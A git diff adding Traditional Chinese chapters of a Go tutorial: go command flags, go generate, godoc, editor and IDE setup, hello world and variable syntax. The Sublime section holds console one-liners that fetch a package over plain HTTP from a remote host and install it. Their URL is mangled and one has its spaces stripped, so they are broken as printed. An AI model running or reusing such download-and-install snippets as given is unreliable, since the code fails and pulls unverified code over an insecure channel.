test 檔案測試完畢,當然你也可以帶上參數,詳情請參考`go help testflag` + +這裡我介紹幾個我們常用的參數: + +- `-bench regexp` 執行相應的 benchmarks,例如 `-bench=.` +- `-cover` 開啟測試覆蓋率 +- `-run regexp` 只執行 regexp 匹配的函式,例如 `-run=Array` 那麼就執行包含有 Array 開頭的函式 +- `-v` 顯示測試的詳細命令 + +## go tool +`go tool`下面下載聚集了很多命令,這裡我們只介紹兩個,fix 和 vet + + +- `go tool fix .` 用來修復以前老版本的程式碼到新版本,例如 go1 之前老版本的程式碼轉化到 go1,例如 API 的變化 +- `go tool vet directory|files` 用來分析當前目錄的程式碼是否都是正確的程式碼,例如是不是呼叫 fmt.Printf 裡面的參數不正確,例如函式裡面提前 return 了然後出現了無用程式碼之類別的。 + +## go generate + +這個命令是從 Go1.4 開始才設計的,用於在編譯前自動化產生某類別程式碼。`go generate`和`go build`是完全不一樣的命令,透過分析原始碼中特殊的註釋,然後執行相應的命令。這些命令都是很明確的,沒有任何的依賴在裡面。而且大家在用這個之前心裡面一定要有一個觀念,這個 `go generate` 是給你用的,不是給使用你這個套件的人用的,主要是方便你自動產生一些程式碼。 + +這裡我們來舉一個簡單的例子,例如我們經常會使用 `yacc` 來產生程式碼,那麼我們常用這樣的命令: + + go tool yacc -o gopher.go -p parser gopher.y + +-o 指定了輸出的檔名, -p 指定了 package 的名稱,這是一個單獨的命令,如果我們想讓`go generate`來觸發這個命令,那麼就可以在當前目錄的任意一個`xxx.go`檔案裡面的任意位置增加一行如下的註釋: + + //go:generate go tool yacc -o gopher.go -p parser gopher.y + +這裡我們注意了,`//go:generate`是沒有任何空格的,這其實就是一個固定的格式,在掃描原始碼檔案的時候就是根據這個來判斷的。 + +所以我們可以透過如下的命令來產生,編譯,測試。如果`gopher.y`檔案有修改,那麼就重新執行`go generate`重新產生檔案就好。 + + $ go generate + $ go build + $ go test + + +## godoc + +在 Go1.2 版本之前還支援`go doc`命令,但是之後全部移到了 godoc 這個命令下,需要這樣安裝`go get golang.org/x/tools/cmd/godoc` + + 很多人說 go 不需要任何的第三方文件,例如 chm 手冊之類別的(其實我已經做了一個了,[chm 手冊](https://github.com/astaxie/godoc)),因為它內部就有一個很強大的文件工具。 + + 如何檢視相應 package 的文件呢? + 例如 builtin 套件,那麼執行`godoc builtin` + 如果是 http 套件,那麼執行`godoc net/http` + 檢視某一個套件裡面的函式,那麼執行`godoc fmt Printf` + 也可以檢視相應的程式碼,執行`godoc -src fmt Printf` + + 透過命令在命令列執行 godoc -http=:埠號 比如`godoc -http=:8080`。然後在瀏覽器中開啟`127.0.0.1:8080`,你將會看到一個 golang.org 的本地 copy 版本,透過它你可以查詢 pkg 文件等其它內容。如果你設定了 GOPATH,在 pkg 分類下,不但會列出標準套件的文件,還會列出你本地 `GOPATH` 中所有專案的相關文件,這對於經常被牆的使用者來說是一個不錯的選擇。 + +## 其它命令 + + go 還提供了其它很多的工具,例如下面的這些工具 + + go version 檢視 go 當前的版本 + go env 檢視當前 go 的環境變數 + go list 列出當前全部安裝的 package + + go run 編譯並執行 Go 程式 + +以上這些工具還有很多參數沒有一一介紹,使用者可以使用`go help 命令 ` 取得更詳細的幫助資訊。 + + +## links + * [目錄]() + * 上一節:[GOPATH 與工作空間](<01.2.md>) + * 下一節:[Go 開發工具](<01.4.md>) diff --git a/zh-tw/01.4.md b/zh-tw/01.4.md new file mode 100644 index 000000000..88be6298a --- /dev/null +++ b/zh-tw/01.4.md @@ -0,0 +1,644 @@ +# 1.4 Go 開發工具 + +本節我將介紹幾個開發工具,它們都具有自動化提示,自動化 fmt 功能。因為它們都是跨平臺的,所以安裝步驟之類別的都是通用的。 + +## LiteIDE + + LiteIDE 是一款專門為 Go 語言開發的跨平臺輕量級整合開發環境(IDE),由 visualfc 編寫。 + + ![](images/1.4.liteide.png) + +圖 1.4 LiteIDE 主介面 + +**LiteIDE 主要特點:** + +* 支援主流作業系統 + * Windows + * Linux + * MacOS X +* Go 編譯環境管理和切換 + * 管理和切換多個 Go 編譯環境 + * 支援 Go 語言交叉編譯 +* 與 Go 標準一致的專案管理方式 + * 基於 GOPATH 的套件瀏覽器 + * 基於 GOPATH 的編譯系統 + * 基於 GOPATH 的 Api 文件檢索 +* Go 語言的編輯支援 + * 類別瀏覽器和大綱顯示 + * Gocode(程式碼自動完成工具)的完美支援 + * Go 語言文件檢視和 Api 快速檢索 + * 程式碼表達式資訊顯示`F1` + * 原始碼定義跳轉支援`F2` + * Gdb 斷點和除錯支援 + * gofmt 自動格式化支援 +* 其他特徵 + * 支援多國語言介面顯示 + * 完全外掛體系結構 + * 支援編輯器配色方案 + * 基於 Kate 的語法顯示支援 + * 基於全文的單詞自動完成 + * 支援鍵盤快捷鍵繫結方案 + * Markdown 文件編輯支援 + * 即時預覽和同步顯示 + * 自訂 CSS 顯示 + * 可匯出 HTML 和 PDF 文件 + * 批量轉換/合併為 HTML/PDF 文件 + +**LiteIDE 安裝配置** + +* LiteIDE 安裝 + * 下載地址 + * 原始碼地址 + + 首先安裝好 Go 語言環境,然後根據作業系統下載 LiteIDE 對應的壓縮檔案直接解壓即可使用。 + +* 編譯環境設定 + + 根據自身系統要求切換和配置 LiteIDE 當前使用的環境變數。 + + 以 Windows 作業系統,64 位 Go 語言為例, + 工具欄的環境配置中選擇 win64,點 ` 編輯環境`,進入 LiteIDE 編輯 win64.env 檔案 + + GOROOT=c:\go + GOBIN= + GOARCH=amd64 + GOOS=windows + CGO_ENABLED=1 + + PATH=%GOBIN%;%GOROOT%\bin;%PATH% + 。。。 + + 將其中的 `GOROOT=c:\go` 修改為當前 Go 安裝路徑,存檔即可,如果有 MinGW64,可以將 `c:\MinGW64\bin` 加入 PATH 中以便 go 呼叫 gcc 支援 CGO 編譯。 + + 以 Linux 作業系統,64 位 Go 語言為例, + 工具欄的環境配置中選擇 linux64,點 ` 編輯環境`,進入 LiteIDE 編輯 linux64.env 檔案 + + GOROOT=$HOME/go + GOBIN= + GOARCH=amd64 + GOOS=linux + CGO_ENABLED=1 + + PATH=$GOBIN:$GOROOT/bin:$PATH + 。。。 + + 將其中的`GOROOT=$HOME/go`修改為當前 Go 安裝路徑,存檔即可。 + +* GOPATH 設定 + + Go 語言的工具鏈使用 GOPATH 設定,是 Go 語言開發的專案路徑列表,在命令列中輸入(在 LiteIDE 中也可以`Ctrl+,`直接輸入)`go help gopath`快速檢視 GOPATH 文件。 + + 在 LiteIDE 中可以方便的檢視和設定 GOPATH。透過 ` 選單-檢視-GOPATH`設定,可以檢視系統中已存在的 GOPATH 列表, + 同時可根據需要新增專案目錄到自訂 GOPATH 列表中。 + +## Sublime Text + + 這裡將介紹 Sublime Text 3(以下簡稱 Sublime)+ GoSublime + gocode 的組合,那麼為什麼選擇這個組合呢? + + - 自動化提示程式碼,如下圖所示 + + ![](images/1.4.sublime1.png) + + 圖 1.5 sublime 自動化提示介面 + + - 儲存的時候自動格式化程式碼,讓您編寫的程式碼更加美觀,符合 Go 的標準。 + - 支援專案管理 + + ![](images/1.4.sublime2.png) + + 圖 1.6 sublime 專案管理介面 + + - 支援語法高亮 + - Sublime Text 3 可免費使用,只是儲存次數達到一定數量之後就會提示是否購買,點選取消繼續用,和正式註冊版本沒有任何區別。 + + +接下來就開始講如何安裝,下載 [Sublime](http://www.sublimetext.com/) + + 根據自己相應的系統下載相應的版本,然後開啟 Sublime,對於不熟悉 Sublime 的同學可以先看一下這篇文章[Sublime Text 全程指南](http://blog.jobbole.com/88648/)或者[sublime text3 入門課程](http://blog.csdn.net/sam976/article/details/52076271) + + 1. 開啟之後安裝 Package Control:Ctrl+` 開啟命令列,執行如下程式碼: + + 適用於 Sublime Text 3: + +```Go +import urllib.request,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();urllib.request.install_opener(urllib.request.build_opener(urllib.request.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib.request.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read()) +``` + 適用於 Sublime Text 2: + +```Go +import urllib2,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();os.makedirs(ipp)ifnotos.path.exists(ipp)elseNone;urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read());print('Please restart Sublime Text to finish installation') +``` + + 這個時候重啟一下 Sublime,可以發現在在選單欄多了一個如下的節目,說明 Package Control 已經安裝成功了。 + + ![](images/1.4.sublime3.png) + + 圖 1.7 sublime 套件管理 + + + 2. 安裝完之後就可以安裝 Sublime 的外掛了。需安裝 GoSublime、SidebarEnhancements 和 Go Build,安裝外掛之後記得重啟 Sublime 生效,Ctrl+Shift+p 開啟 Package Controll 輸入`pcip`(即“Package Control: Install Package”的縮寫)。 + + 這個時候看左下角顯示正在讀取套件資料,完成之後出現如下介面 + + ![](images/1.4.sublime4.png) + + 圖 1.8 sublime 安裝外掛介面 + + 這個時候輸入 GoSublime,按確定就開始安裝了。同理應用於 SidebarEnhancements 和 Go Build。 + + 3. 安裝 [gocode](https://github.com/nsf/gocode/) + + go get -u github.com/nsf/gocode + + gocode 將會安裝在預設`$GOBIN` + + 另外建議安裝 gotests(產生測試程式碼): + + + 先在 sublime 安裝 gotests 外掛,再執行: + + +```Go +go get -u -v github.com/cweill/gotests/... +``` + + 3. 驗證是否安裝成功,你可以開啟 Sublime,開啟 main.go,看看語法是不是高亮了,輸入 `import` 是不是自動化提示了,`import "fmt"`之後,輸入`fmt.`是不是自動化提示有函數了。 + + 如果已經出現這個提示,那說明你已經安裝完成了,並且完成了自動提示。 + + 如果沒有出現這樣的提示,一般就是你的`$PATH`沒有配置正確。你可以開啟終端,輸入 gocode,是不是能夠正確執行,如果不行就說明`$PATH`沒有配置正確。 + (針對 XP)有時候在終端能執行成功,但 sublime 無提示或者編譯解碼錯誤,請安裝 sublime text3 和 convert utf8 外掛試一試 + + 4. MacOS 下已經設定了$GOROOT, $GOPATH, $GOBIN,還是沒有自動提示怎麼辦。 + + 請在 sublime 中使用 command + 9, 然後輸入 env 檢查$PATH, GOROOT, $GOPATH, $GOBIN 等變數, 如果沒有請採用下面的方法。 + + 首先建立下面的連線, 然後從 Terminal 中直接啟動 sublime + + + ln -s /Applications/Sublime\ Text\ 2.app/Contents/SharedSupport/bin/subl /usr/local/bin/sublime + + +## Visual Studio Code + +VSCode 是微軟基於 Electron 和 web 技術建構的開源編輯器, 是一款很強大的編輯器。開源地址:https://github.com/Microsoft/VSCode + +1、安裝 Visual Studio Code 最新版 + +官方網站:https://code.visualstudio.com/ +下載 Visual Studio Code 最新版,安裝過程略。 + +2、安裝 Go 外掛 + +點選右邊的 Extensions 圖示 +搜尋 Go 外掛 +在外掛列表中,選擇 Go,進行安裝,安裝之後,系統會提示重啟 Visual Studio Code。 + +建議把自動儲存功能開啟。開啟方法為:選擇選單 File,點選 Auto save。 + +VSCode 程式碼設定可用於 Go 擴充套件。這些都可以在使用者的喜好來設定或工作區設定(.VSCode/settings.json)。 + +開啟首選項-使用者設定 settings.json: + +```Go + +{ + "go.buildOnSave": true, + "go.lintOnSave": true, + "go.vetOnSave": true, + "go.buildFlags": [], + "go.lintFlags": [], + "go.vetFlags": [], + "go.coverOnSave": false, + "go.useCodeSnippetsOnFunctionSuggest": false, + "go.formatOnSave": true, + //goimports + "go.formatTool": "goreturns", + "go.goroot": "",//你的 Goroot + + "go.gopath": "",//你的 Gopath + +} +``` + +接著安裝相依套件支援(網路不穩定,請直接到 GitHub [Golang](https://github.com/golang) 下載再移動到相關目錄): + +```Go +go get -u -v github.com/nsf/gocode +go get -u -v github.com/rogpeppe/godef +go get -u -v github.com/zmb3/gogetdoc +go get -u -v github.com/golang/lint/golint +go get -u -v github.com/lukehoban/go-outline +go get -u -v sourcegraph.com/sqs/goreturns +go get -u -v golang.org/x/tools/cmd/gorename +go get -u -v github.com/tpng/gopkgs +go get -u -v github.com/newhook/go-symbols +go get -u -v golang.org/x/tools/cmd/guru +go get -u -v github.com/cweill/gotests/... +``` + +VSCode 還有一項很強大的功能就是斷點除錯,結合 [delve](https://github.com/derekparker/delve) 可以很好的進行 Go 程式碼除錯 + +```Go + +go get -v -u github.com/peterh/liner github.com/derekparker/delve/cmd/dlv + +brew install go-delve/delve/delve(mac 可選) +``` + +如果有問題再來一遍: + +```Go +go get -v -u github.com/peterh/liner github.com/derekparker/delve/cmd/dlv +``` +注意 : 修改"dlv-cert"證書, 選擇"顯示簡介"->"信任"->"程式碼簽名" 修改為: 始終信任 + +開啟首選項-工作區設定,配置 launch.json: + +```Go +{ + "version": "0.2.0", + "configurations": [ + { + "name": "main.go", + "type": "go", + "request": "launch", + "mode": "debug", + "remotePath": "", + "port": 2345, + "host": "127.0.0.1", + "program": "${workspaceRoot}",//工作空間路徑 + "env": {}, + "args": [], + "showLog": true + } + ] +} +``` + +## Atom + +Atom 是 GitHub 基於 Electron 和 web 技術建構的開源編輯器, 是一款很漂亮強大的編輯器缺點是速度比較慢。 + +首先要先安裝下 Atom,下載地址: https://atom.io/ + +然後安裝 go-plus 外掛: + + go-plus 是 Atom 上面的一款開源的 go 語言開發環境的的外掛 + + 它需要依賴下面的 go 語言工具: + +```Go +1.autocomplete-go :gocode 的程式碼自動提示 +2.gofmt :使用 goftm,goimports,goturns +3.builder-go:go-install 和 go-test,驗證程式碼,給出建議 +4.gometalinet-linter:goline,vet,gotype 的檢查 +5.navigator-godef:godef +6.tester-goo :go test +7.gorename :rename +``` + +在 Atom 中的 Preference 中可以找到 install 選單,輸入 go-plus,然後點選安裝(install) + +就會開始安裝 go-plus , go-plus 外掛會自動安裝對應的依賴外掛,如果沒有安裝對應的 go 的類別函式庫會自動執行: go get 安裝。 + + +## GoLand + +GoLand 是 JetBrains 公司推出的 Go 語言整合開發環境,是 Idea Go 外掛的強化版。GoLand 同樣基於 IntelliJ 平臺開發,支援 JetBrains 的外掛體系。 + +下載地址: https://www.jetbrains.com/go/ + +## Vim +Vim 是從 vi 發展出來的一個文字編輯器, 程式碼自動完成、編譯及錯誤跳轉等方便程式設計的功能特別豐富,在程式設計師中被廣泛使用。 + +vim-go 是 vim 上面的一款開源的 go 語言使用最為廣泛開發環境的的外掛 + +外掛地址:[github.com/fatih/vim-go](https://github.com/fatih/vim-go) + +vim 的外掛管理主要有[Pathogen](https://github.com/tpope/vim-pathogen)與[Vundle](https://github.com/VundleVim/Vundle.vim) +,但是其作用的方面不同。 +pathogen 是為了解決每一個外掛安裝後文件分散到多個目錄不好管理而存在的。vundle 是為了解決自動搜尋及下載外掛而存在的。 +這兩個外掛可同時使用。 + +1.安裝 Vundle + + +```sh +mkdir ~/.vim/bundle +git clone https://github.com/gmarik/Vundle.vim.git ~/.vim/bundle/Vundle.vim +``` + +修改.vimrc,將 Vundle 的相關配置置在最開始處([詳細參考 Vundle 的介紹文件](https://github.com/VundleVim/Vundle.vim)) + +```sh +set nocompatible " be iMproved, required +filetype off " required + +" set the runtime path to include Vundle and initialize +set rtp+=~/.vim/bundle/Vundle.vim +call vundle#begin() + +" let Vundle manage Vundle, required +Plugin 'gmarik/Vundle.vim' + +" All of your Plugins must be added before the following line +call vundle#end() " required +filetype plugin indent on " required +``` + +2.安裝 Vim-go + +修改~/.vimrc,在 vundle#begin 和 vundle#end 間增加一行: + +```sh + +Plugin 'fatih/vim-go' +``` + +在 Vim 內執行: PluginInstall + +3.安裝 YCM(Your Complete Me)進行自動自動完成 +在~/.vimrc 中新增一行: + +```sh + +Plugin 'Valloric/YouCompleteMe' +``` +在 Vim 內執行: PluginInstall + + +![](images/1.4.vim.png) + +圖 1.9 VIM 編輯器自動化提示 Go 介面 + +接著我們繼續配置 vim: + + 1. 配置 vim 高亮顯示 + + cp -r $GOROOT/misc/vim/* ~/.vim/ + + 2. 在~/.vimrc 檔案中增加語法高亮顯示 + + filetype plugin indent on + syntax on + + 3. 安裝[Gocode](https://github.com/nsf/gocode/) + + go get -u github.com/nsf/gocode + + gocode 預設安裝到`$GOPATH/bin`下面。 + + 4. 配置[Gocode](https://github.com/nsf/gocode/) + + ~ cd $GOPATH/src/github.com/nsf/gocode/vim + ~ ./update.bash + ~ gocode set propose-builtins true + propose-builtins true + ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" + lib-path "/home/border/gocode/pkg/linux_amd64" + ~ gocode set + propose-builtins true + lib-path "/home/border/gocode/pkg/linux_amd64" + + >gocode set 裡面的兩個參數的含意說明: + > + >propose-builtins:是否自動提示 Go 的內建函式、型別和常數,預設為 false,不提示。 + > + >lib-path:預設情況下,gocode 只會搜尋**$GOPATH/pkg/$GOOS_$GOARCH** 和 **$GOROOT/pkg/$GOOS_$GOARCH**目錄下的套件,當然這個設定就是可以設定我們額外的 lib 能訪問的路徑 + + + 5. 恭喜你,安裝完成,你現在可以使用`:e main.go`體驗一下開發 Go 的樂趣。 + +更多 VIM 設定, 可參考 [ 連結](http://www.cnblogs.com/witcxc/archive/2011/12/28/2304704.html) + +## Emacs +Emacs 傳說中的神器,她不僅僅是一個編輯器,它是一個整合環境,或可稱它為整合開發環境,這些功能如讓使用者置身於全功能的作業系統中。 + + ![](images/1.4.emacs.png) + +圖 1.10 Emacs 編輯 Go 主介面 + +1. 配置 Emacs 高亮顯示 + + cp $GOROOT/misc/emacs/* ~/.emacs.d/ + +2. 安裝[Gocode](https://github.com/nsf/gocode/) + + go get -u github.com/nsf/gocode + + gocode 預設安裝到`$GOBIN`裡面下面。 + +3. 配置[Gocode](https://github.com/nsf/gocode/) + + + ~ cd $GOPATH/src/github.com/nsf/gocode/emacs + ~ cp go-autocomplete.el ~/.emacs.d/ + ~ gocode set propose-builtins true + propose-builtins true + ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" // 換為你自己的路徑 + lib-path "/home/border/gocode/pkg/linux_amd64" + ~ gocode set + propose-builtins true + lib-path "/home/border/gocode/pkg/linux_amd64" + +4. 需要安裝 [Auto Completion](http://www.emacswiki.org/emacs/AutoComplete) + + 下載 AutoComplete 並解壓 + + ~ make install DIR=$HOME/.emacs.d/auto-complete + + 配置~/.emacs 檔案 + + ;;auto-complete + (require 'auto-complete-config) + (add-to-list 'ac-dictionary-directories "~/.emacs.d/auto-complete/ac-dict") + (ac-config-default) + (local-set-key (kbd "M-/") 'semantic-complete-analyze-inline) + (local-set-key "." 'semantic-complete-self-insert) + (local-set-key ">" 'semantic-complete-self-insert) + + 詳細資訊參考: http://www.emacswiki.org/emacs/AutoComplete + +5. 配置.emacs + + ;; golang mode + (require 'go-mode-load) + (require 'go-autocomplete) + ;; speedbar + ;; (speedbar 1) + (speedbar-add-supported-extension ".go") + (add-hook + 'go-mode-hook + '(lambda () + ;; gocode + (auto-complete-mode 1) + (setq ac-sources '(ac-source-go)) + ;; Imenu & Speedbar + (setq imenu-generic-expression + '(("type" "^type *\\([^ \t\n\r\f]*\\)" 1) + ("func" "^func *\\(.*\\) {" 1))) + (imenu-add-to-menubar "Index") + ;; Outline mode + (make-local-variable 'outline-regexp) + (setq outline-regexp "//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....") + (outline-minor-mode 1) + (local-set-key "\M-a" 'outline-previous-visible-heading) + (local-set-key "\M-e" 'outline-next-visible-heading) + ;; Menu bar + (require 'easymenu) + (defconst go-hooked-menu + '("Go tools" + ["Go run buffer" go t] + ["Go reformat buffer" go-fmt-buffer t] + ["Go check buffer" go-fix-buffer t])) + (easy-menu-define + go-added-menu + (current-local-map) + "Go tools" + go-hooked-menu) + + ;; Other + (setq show-trailing-whitespace t) + )) + ;; helper function + (defun go () + "run current buffer" + (interactive) + (compile (concat "go run " (buffer-file-name)))) + + ;; helper function + (defun go-fmt-buffer () + "run gofmt on current buffer" + (interactive) + (if buffer-read-only + (progn + (ding) + (message "Buffer is read only")) + (let ((p (line-number-at-pos)) + (filename (buffer-file-name)) + (old-max-mini-window-height max-mini-window-height)) + (show-all) + (if (get-buffer "*Go Reformat Errors*") + (progn + (delete-windows-on "*Go Reformat Errors*") + (kill-buffer "*Go Reformat Errors*"))) + (setq max-mini-window-height 1) + (if (= 0 (shell-command-on-region (point-min) (point-max) "gofmt" "*Go Reformat Output*" nil "*Go Reformat Errors*" t)) + (progn + (erase-buffer) + (insert-buffer-substring "*Go Reformat Output*") + (goto-char (point-min)) + (forward-line (1- p))) + (with-current-buffer "*Go Reformat Errors*" + (progn + (goto-char (point-min)) + (while (re-search-forward "" nil t) + (replace-match filename)) + (goto-char (point-min)) + (compilation-mode)))) + (setq max-mini-window-height old-max-mini-window-height) + (delete-windows-on "*Go Reformat Output*") + (kill-buffer "*Go Reformat Output*")))) + ;; helper function + (defun go-fix-buffer () + "run gofix on current buffer" + (interactive) + (show-all) + (shell-command-on-region (point-min) (point-max) "go tool fix -diff")) + +6. 恭喜你,你現在可以體驗在神器中開發 Go 的樂趣。預設 speedbar 是關閉的,如果開啟需要把 ;; (speedbar 1) 前面的註釋去掉,或者也可以透過 *M-x speedbar* 手動開啟。 + +## Eclipse +Eclipse 也是非常常用的開發利器,以下介紹如何使用 Eclipse 來編寫 Go 程式。 + + ![](images/1.4.eclipse1.png) + +圖 1.11 Eclipse 編輯 Go 的主介面 + +1. 首先下載並安裝好[Eclipse](http://www.eclipse.org/) + +2. 下載[goclipse](https://code.google.com/p/goclipse/)外掛 + + http://code.google.com/p/goclipse/wiki/InstallationInstructions + +3. 下載 gocode,用於 go 的程式碼自動完成提示 + + gocode 的 GitHub 地址: + + https://github.com/nsf/gocode + + 在 windows 下要安裝 git,通常用[msysgit](https://code.google.com/p/msysgit/) + + 再在 cmd 下安裝: + + go get -u github.com/nsf/gocode + + 也可以下載程式碼,直接用 go build 來編譯,會產生 gocode.exe + +4. 下載[MinGW](http://sourceforge.net/projects/mingw/files/MinGW/)並按要求裝好 + +5. 配置外掛 + + Windows->Reference->Go + + (1).配置 Go 的編譯器 + + ![](images/1.4.eclipse2.png) + + 圖 1.12 設定 Go 的一些基礎資訊 + + + (2).配置 Gocode(可選,程式碼自動完成),設定 Gocode 路徑為之前產生的 gocode.exe 檔案 + + ![](images/1.4.eclipse3.png) + + 圖 1.13 設定 gocode 資訊 + + (3).配置 GDB(可選,做除錯用),設定 GDB 路徑為 MingW 安裝目錄下的 gdb.exe 檔案 + + ![](images/1.4.eclipse4.png) + + 圖 1.14 設定 GDB 資訊 + +6. 測試是否成功 + + 建立一個 go 工程,再建立一個 hello.go。如下圖: + + ![](images/1.4.eclipse5.png) + + 圖 1.15 建立專案編輯檔案 + + 除錯如下(要在 console 中用輸入命令來除錯): + + ![](images/1.4.eclipse6.png) + + 圖 1.16 除錯 Go 程式 + +## IntelliJ IDEA +熟悉 Java 的讀者應該對於 idea 不陌生,idea 是透過一個外掛來支援 go 語言的高亮語法,程式碼提示和重構實現。 + +1. 先下載 idea,idea 支援多平臺:win,mac,linux,如果有錢就買個正式版,如果不行就使用社群免費版,對於只是開發 Go 語言來說免費版足夠用了 + + ![](images/1.4.idea1.png) + +2. 安裝 Go 外掛,點選選單 File 中的 Setting,找到 Plugins,點選,Broswer repo 按鈕。國內的使用者可能會報錯,自己解決哈。 + + ![](images/1.4.idea3.png) + +3. 這時候會看見很多外掛,搜尋找到 Golang,雙擊,download and install。等到 golang 那一行後面出現 Downloaded 標誌後,點 OK。 + + ![](images/1.4.idea4.png) + + 然後點 Apply .這時候 IDE 會要求你重啟。 + +4. 重啟完畢後,建立新專案會發現已經可以建立 golang 專案了: + + ![](images/1.4.idea5.png) + + 下一步,會要求你輸入 go sdk 的位置,一般都安裝在 C:\Go,linux 和 mac 根據自己的安裝目錄設定,選中目錄確定,就可以了。 + +## links + * [目錄]() + * 上一節:[Go 命令](<01.3.md>) + * 下一節:[總結](<01.5.md>) diff --git a/zh-tw/01.5.md b/zh-tw/01.5.md new file mode 100644 index 000000000..0be1cdfe3 --- /dev/null +++ b/zh-tw/01.5.md @@ -0,0 +1,8 @@ +# 1.5 總結 + +這一章中我們主要介紹了如何安裝 Go,Go 可以透過三種方式安裝:原始碼安裝、標準套件安裝、第三方工具安裝,安裝之後我們需要配置我們的開發環境,然後介紹了如何配置本地的`$GOPATH`,透過設定`$GOPATH`之後讀者就可以建立專案,接著介紹了如何來進行專案編譯、應用安裝等問題,這些需要用到很多 Go 命令,所以接著就介紹了一些 Go 的常用命令工具,包括編譯、安裝、格式化、測試等命令,最後介紹了 Go 的開發工具,目前有很多 Go 的開發工具:LiteIDE、Sublime、VSCode、Atom、Goland、VIM、Emacs、Eclipse、Idea 等工具,讀者可以根據自己熟悉的工具進行配置,希望能夠透過方便的工具快速的開發 Go 應用。 + +## links + * [目錄]() + * 上一節:[Go 開發工具](<01.4.md>) + * 下一章:[Go 語言基礎](<02.0.md>) diff --git a/zh-tw/02.0.md b/zh-tw/02.0.md new file mode 100644 index 000000000..6a5292402 --- /dev/null +++ b/zh-tw/02.0.md @@ -0,0 +1,19 @@ +# 2 Go 語言基礎 + +Go 是一門類似 C 的編譯型語言,但是它的編譯速度非常快。這門語言的關鍵字總共也就二十五個,比英文字母還少一個,這對於我們的學習來說就簡單了很多。先讓我們看一眼這些關鍵字都長什麼樣: + + break default func interface select + case defer go map struct + chan else goto package switch + const fallthrough if range type + continue for import return var + +在接下來的這一章中,我將帶領你去學習這門語言的基礎。透過每一小節的介紹,你將發現,Go 的世界是那麼地簡潔,設計是如此地美妙,編寫 Go 將會是一件愉快的事情。等回過頭來,你就會發現這二十五個關鍵字是多麼地親切。 + +## 目錄 +![](images/navi2.png) + +## links + * [目錄]() + * 上一章:[第一章總結](<01.5.md>) + * 下一節:[你好,Go](<02.1.md>) diff --git a/zh-tw/02.1.md b/zh-tw/02.1.md new file mode 100644 index 000000000..764f166e7 --- /dev/null +++ b/zh-tw/02.1.md @@ -0,0 +1,53 @@ +# 2.1 你好,Go + +在開始編寫應用之前,我們先從最基本的程式開始。就像你造房子之前不知道什麼是地基一樣,編寫程式也不知道如何開始。因此,在本節中,我們要學習用最基本的語法讓 Go 程式執行起來。 + +## 程式 + +這就像一個傳統,在學習大部分語言之前,你先學會如何編寫一個可以輸出 `hello world` 的程式。 + +準備好了嗎?Let's Go! + +```Go +package main + +import "fmt" + +func main() { + fmt.Printf("Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちはせかい\n") +} +``` +輸出如下: + + Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちはせかい + +## 詳解 +首先我們要了解一個概念,Go 程式是透過 `package` 來組織的。 + +`package `(在我們的例子中是`package main`)這一行告訴我們當前檔案屬於哪個套件,而套件名 `main` 則告訴我們它是一個可獨立執行的套件,它在編譯後會產生可執行檔案。除了 `main` 套件之外,其它的套件最後都會產生 `*.a` 檔案(也就是套件檔案)並放置在 `$GOPATH/pkg/$GOOS_$GOARCH` 中(以 Mac 為例就是 `$GOPATH/pkg/darwin_amd64`)。 + +>每一個可獨立執行的 Go 程式,必定包含一個 `package main`,在這個 `main` 套件中必定包含一個入口函式 `main`,而這個函式既沒有參數,也沒有回傳值。 + +為了列印 `Hello, world...` ,我們呼叫了一個函式 `Printf`,這個函式來自於 `fmt` 套件,所以我們在第三行中匯入了系統級別的 `fmt` 套件:`import "fmt"`。 + +套件的概念和 Python 中的 package 類似,它們都有一些特別的好處:模組化(能夠把你的程式分成多個模組)和可重用性(每個模組都能被其它應用程式反覆使用)。我們在這裡只是先了解一下套件的概念,後面我們將會編寫自己的套件。 + +在第五行中,我們透過關鍵字 `func` 定義了一個 `main` 函式,函式體被放在 `{}`(大括號)中,就像我們平時寫 C、C++ 或 Java 時一樣。 + +大家可以看到 `main` 函式是沒有任何的參數的,我們接下來就學習如何編寫帶參數的、回傳 0 個或多個值的函式。 + +第六行,我們呼叫了 `fmt` 套件裡面定義的函式 `Printf`。大家可以看到,這個函式是透過 `.` 的方式呼叫的,這一點和 Python 十分相似。 + +>前面提到過,套件名和套件所在的資料夾名可以是不同的,此處的 `` 即為透過 `package ` 宣告的套件名,而非資料夾名。 + +最後大家可以看到我們輸出的內容裡面包含了很多非 ASCII 碼字元。實際上,Go 是天生支援 UTF-8 的,任何字元都可以直接輸出,你甚至可以用 UTF-8 中的任何字元作為識別符號。 + + +## 結論 + +Go 使用 `package`(和 Python 的模組類似)來組織程式碼。`main.main()` 函式(這個函式位於主套件)是每一個獨立的可執行程式的入口點。Go 使用 UTF-8 字串和識別符號(因為 UTF-8 的發明者也就是 Go 的發明者之一),所以它天生支援多語言。 + +## links + * [目錄]() + * 上一節:[Go 語言基礎](<02.0.md>) + * 下一節:[Go 基礎](<02.2.md>) diff --git a/zh-tw/02.2.md b/zh-tw/02.2.md new file mode 100644 index 000000000..6420af602 --- /dev/null +++ b/zh-tw/02.2.md @@ -0,0 +1,538 @@ +# 2.2 Go 基礎 + +這小節我們將要介紹如何定義變數、常數、Go 內建型別以及 Go 程式設計中的一些技巧。 + +## 定義變數 + +Go 語言裡面定義變數有多種方式。 + +使用 `var` 關鍵字是 Go 最基本的定義變數方式,與 C 語言不同的是 Go 把變數型別放在變數名後面: + +```Go +// 定義一個名稱為 “variableName”,型別為 "type" 的變數 +var variableName type +``` +定義多個變數 + +```Go +// 定義三個型別都是 “type” 的變數 +var vname1, vname2, vname3 type +``` +定義變數並初始化值 + +```Go +// 初始化 “variableName” 的變數為 “value” 值,型別是 “type” +var variableName type = value +``` +同時初始化多個變數 + +```Go +/* + 定義三個型別都是 "type" 的變數,並且分別初始化為相應的值 + vname1 為 v1,vname2 為 v2,vname3 為 v3 +*/ +var vname1, vname2, vname3 type = v1, v2, v3 +``` 